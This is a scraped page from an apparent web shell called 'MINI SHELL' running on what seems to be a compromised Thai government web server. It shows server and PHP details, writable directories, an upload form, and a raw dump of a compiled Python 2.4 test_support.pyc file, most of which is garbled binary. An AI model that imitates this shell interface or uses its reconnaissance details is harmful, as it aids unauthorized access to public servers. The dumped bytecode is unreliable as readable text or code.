MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /proc/self/root/proc/self/root/usr/lib/python2.4/test/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/self/root/proc/self/root/usr/lib/python2.4/test/test_support.pyc
mò
Ð=Ec@sJdZedjo
ed‚ndkZdefd„ƒYZdefd„ƒYZdefd	„ƒYZd
efd„ƒYZdZ	dZdad
„Z
d„Zd„Zd„Zd„Zdd„ZdZd„ZyedZWnej
o
dZnXeiidƒZdkZeidjo
dZnÏeidjo
dZnµdZeo§edeƒo
dZneddƒZei ƒZ!e"edƒpei#ƒdd jo
dZ$qe%d!ƒZ$ye$i&d"ƒWne'j
oqXd#e$GHndZ(ye)ed$ƒZ(Wnie*j
o]ei+i,d%eƒZ-ye)e-d$ƒZ(e-Z[-Wqe*j
od&ee-fGHqXnXe(dj	o)e(i.ƒyei/eƒWqÃqÃXn[[(d'kl/Z/e0d(„Z1d)d*„Z2d+„Z3d,„Z4d-„Z5dk6Z6d.fd/„ƒYZ7dd0„Z8d1„Z9dd2„Z:dS(3s7Supporting definitions for the Python regression tests.stest.test_supports3test_support must be imported from the test packageNtErrorcBstZdZRS(s*Base class for regression test exceptions.(t__name__t
__module__t__doc__(((t'/usr/lib/python2.4/test/test_support.pyRst
TestFailedcBstZdZRS(sTest failed.(RRR(((RRstTestSkippedcBstZdZRS(s!Test skipped.

    This can be raised to indicate that a test was deliberatly
    skipped, but not because a feature wasn't available.  For
    example, if some resource can't be used, such as the network
    appears to be unavailable, this should be raised instead of
    TestFailed.
    (RRR(((RRstResourceDeniedcBstZdZRS(sàTest skipped because it requested a disallowed resource.

    This is raised when a test calls requires() for a resource that
    has not be enabled.  It is used to distinguish between expected
    and unexpected skips.
    (RRR(((RRsicCs
|adS(N(tstdoutt_original_stdout(R((Rtrecord_original_stdout'scCstptiS(N(R	tsysR(((Rtget_original_stdout+scCs(yti|=Wntj
onXdS(N(RtmodulestnametKeyError(R((Rtunload.scCs³t|ƒdk}x™tiD]Ž}y+|i|ii|||idƒƒWn|i	j
onXy+|i|ii|||idƒƒWq|i	j
oqXqWdS(sm"Forget" a module was ever imported by removing it from sys.modules and
    deleting any .pyc and .pyo files.Ntpyctpyo(
RtmodnametosRtpathtdirnametunlinktjointextsepterror(RRR((Rtforget4s
	
++cCstdj	o
|tjS(sPTest whether a resource is enabled.  Known resources are set by
    regrtest.py.N(t
use_resourcestNonetresource(R((Rtis_resource_enabledFscCsftiƒiiidƒdjodSnt|ƒp+|djod|}nt	|ƒ‚ndS(sÛRaise ResourceDenied if the specified resource is not available.

    If the caller's module is __main__ then automatically return True.  The
    possibility of False being returned occurs when regrtest.py is executing.Rt__main__Ns$Use of the `%s' resource not enabled(
Rt	_getframetf_backt	f_globalstgetRRtmsgRR(RR%((RtrequiresKs"

f9.9999999999999995e-07cCsRt|ƒtdƒjpt|ƒtdƒjo`yRt||ƒ\}}t|ƒt|ƒt}t||ƒ|jodSnWqEqEXn´t|ƒt|ƒjošt|ƒtfƒtgƒfjouxUttt	|ƒt	|ƒƒƒD]2}t||||ƒ}|djo|SqòqòWt
t	|ƒt	|ƒƒSnt
||ƒS(Nf0.0i(ttypetxtytcoercetabstFUZZtfuzztrangetmintlentitfcmptoutcometcmp(R(R)R1R-R3((RR2[s 2>"
itjavas$testtriscosttestfiles@testts@test-àòslatin-1tgetwindowsversioniis'u"@test-\u5171\u6709\u3055\u308c\u308b"tLatin1sgWARNING: The filename %r CAN be encoded by the filesystem.  Unicode filename tests may not be effectivesw+s/tmps6WARNING: tests will fail, unable to write to: %s or %s(sunlinkcCs‹dk}|ii|ƒo|Snti}|ii|ƒg|}x>|D]6}|ii||ƒ}|ii
|ƒo|SqMqMW|S(sÕTry to find a file on sys.path and the working directory.  If it is not
    found the argument passed to the function is returned (this does not
    necessarily signal failure; could still be the legitimate path).N(RRtisabstfileRRtheretdnRtfntexists(R<R=R>RRR?((Rtfindfileºs		stest failedcCs|pt|ƒ‚ndS(s–Verify that condition is true. If not, raise TestFailed.

       The optional argument reason can be given to provide
       a better error text.
    N(t	conditionRtreason(RBRC((RtverifyÈscCs(||jptd||f‚ndS(s$Raise TestFailed if a == b is false.

    This is better than verify(a == b) because, in case of failure, the
    error message incorporates repr(a) and repr(b) so you can see the
    inputs.

    Note that "not (a == b)" isn't necessarily the same as "a != b"; the
    former is tested.
    s%r == %rN(tatbR(RERF((RtvereqÒs	
cCsR|iƒ}|iƒg}|D]}|d|q!~}di|ƒ}d|S(s%Like repr(dict), but in sorted order.s%r: %rs, s{%s}N(tdicttitemstsortt_[1]tpairt	reprpairsRt
withcommas(RHRMRNRIRKRL((Rtsortdictàs
%cCs7yt|ddƒWntj
onXd|GHdS(Ns<string>texecsMissing SyntaxError: "%s"(tcompilet	statementtSyntaxError(RR((Rtcheck_syntaxès
tBasicTestRunnercBstZd„ZRS(NcCstiƒ}||ƒ|S(N(tunittestt
TestResulttresultttest(tselfRYRX((Rtrunùs
(RRR[(((RRUøscCstotitiddƒ}n
tƒ}|i|ƒ}|i
ƒpµt|iƒdjo |i
o|idd}npt|i
ƒdjo |io|i
dd}n:|djo
d}nd|i|if}t|ƒ‚t|ƒ‚ndS(s2Run tests from a unittest.TestSuite-derived class.t	verbosityiiis0errors occurred; run in verbose mode for detailsserrors occurred in %s.%sN(tverboseRVtTextTestRunnerRRtrunnerRUR[tsuiteRXt
wasSuccessfulR0terrorstfailuresterrt	testclassRR%RRR(R`ReRdR_RXR%((Rt	run_suiteÿs	
!!

cGs˜tiƒ}xQ|D]I}t|titifƒo|i|ƒq|iti|ƒƒqWt	|ƒdjo|d}nd}t||ƒdS(s1Run tests from unittest.TestCase-derived classes.iiN(
RVt	TestSuiteR`tclassestclst
isinstancetTestCasetaddTestt	makeSuiteR0ReRRf(RhReR`Ri((Rtrun_unittestscCs¯dk}|djo
t}nd}ti}tƒt_z@|i|d|ƒ\}}|otd||fƒ‚nWd|t_Xtod|i
|fGHn||fS(s
Run doctest on the given module.  Return (#failures, #tests).

    If optional argument verbosity is not specified (or is None), pass
    test_support's belief about verbosity on to doctest.  Else doctest's
    usual behavior is used (it searches sys.argv for -v).
    NR]s%d of %d doctests faileds,doctest (%s) ... %d tests with zero failures(tdoctestR\RR]RRtsave_stdoutRttestmodtmoduletfttRR(RrR\RpRsRtRo((Rtrun_doctest(s 	

	
(;RRtImportErrorRt	ExceptionRRRRR]RRR	R
RRRRR&R,R2tunicodethave_unicodet	NameErrortplatformt
startswitht	is_jythonRRtTESTFNRjtTESTFN_UNICODEtgetfilesystemencodingtTESTFN_ENCODINGthasattrR9tTESTFN_UNICODE_UNENCODEABLEtevaltencodetUnicodeEncodeErrortfptopentIOErrorRRt
TMP_TESTFNtcloseRt__file__RARDRGRORTRVRURfRnRu(#RGR]RURVRuRRRTRRRyRDR}RR,RnRRARR‡RRORRRR~R
RRRRƒR2RfRŠR&((Rt?s

	
						
	


(





			
		

Anon7 - 2021